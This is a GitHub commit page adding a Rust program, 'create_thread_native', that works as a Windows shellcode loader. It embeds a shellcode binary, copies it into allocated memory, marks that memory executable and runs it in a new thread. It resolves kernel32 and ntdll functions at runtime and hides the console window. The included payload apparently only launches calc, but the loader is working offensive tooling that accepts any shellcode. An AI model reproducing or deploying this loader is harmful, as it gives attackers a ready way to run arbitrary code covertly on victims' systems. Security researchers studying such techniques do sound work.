Skip to content

Commit aa60f63

Browse files
author
test
committed
add create_thread_native
1 parent 4fdc00a commit aa60f63

File tree

2 files changed

+77
-0
lines changed

2 files changed

+77
-0
lines changed

create_thread_native/Cargo.toml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "create_thread_native"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
libloading = "0.7.4"

create_thread_native/src/main.rs

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use libloading::{Library, Symbol};
4+
use std::ffi::c_void;
5+
use std::ptr::{null, null_mut};
6+
7+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
8+
static SIZE: usize = SHELLCODE.len();
9+
10+
const MEM_COMMIT: u32 = 0x1000;
11+
const MEM_RESERVE: u32 = 0x2000;
12+
const PAGE_EXECUTE: u32 = 0x10;
13+
const PAGE_READWRITE: u32 = 0x04;
14+
const FALSE: i32 = 0;
15+
const WAIT_FAILED: u32 = 0xFFFFFFFF;
16+
17+
#[cfg(target_os = "windows")]
18+
fn main() {
19+
let mut old = PAGE_READWRITE;
20+
21+
unsafe {
22+
let kernel32 = Library::new("kernel32.dll").expect("no kernel32.dll");
23+
let ntdll = Library::new("ntdll.dll").expect("no ntdll.dll");
24+
25+
let virtual_alloc: Symbol<
26+
unsafe extern "C" fn(*const c_void, usize, u32, u32) -> *mut c_void,
27+
> = kernel32.get(b"VirtualAlloc\0").expect("no VirtualAlloc");
28+
29+
let virtual_protect: Symbol<
30+
unsafe extern "C" fn(*const c_void, usize, u32, *mut u32) -> i32,
31+
> = kernel32
32+
.get(b"VirtualProtect\0")
33+
.expect("no VirtualProtect");
34+
35+
let rtl_copy_memory: Symbol<unsafe extern "C" fn(*mut c_void, *const c_void, usize)> =
36+
ntdll.get(b"RtlCopyMemory\0").expect("no RtlCopyMemory");
37+
38+
let create_thread: Symbol<
39+
unsafe extern "C" fn(*const c_void, usize, *const c_void, u32, *mut u32) -> isize,
40+
> = kernel32.get(b"CreateThread\0").expect("no CreateThread");
41+
42+
let wait_for_single_object: Symbol<unsafe extern "C" fn(isize, u32) -> u32> = kernel32
43+
.get(b"WaitForSingleObject")
44+
.expect("no WaitForSingleObject");
45+
46+
let dest = virtual_alloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
47+
if dest == null_mut() {
48+
eprintln!("virtual_alloc failed!");
49+
return;
50+
}
51+
52+
rtl_copy_memory(dest, SHELLCODE.as_ptr() as *const c_void, SIZE);
53+
54+
let res = virtual_protect(dest, SIZE, PAGE_EXECUTE, &mut old);
55+
if res == FALSE {
56+
eprintln!("virtual_protect failed!");
57+
return;
58+
}
59+
60+
let handle = create_thread(null(), 0, dest, 0, null_mut());
61+
if handle == 0 {
62+
eprintln!("create_thread failed!");
63+
return;
64+
}
65+
66+
wait_for_single_object(handle, WAIT_FAILED);
67+
}
68+
}

0 commit comments

Comments
 (0)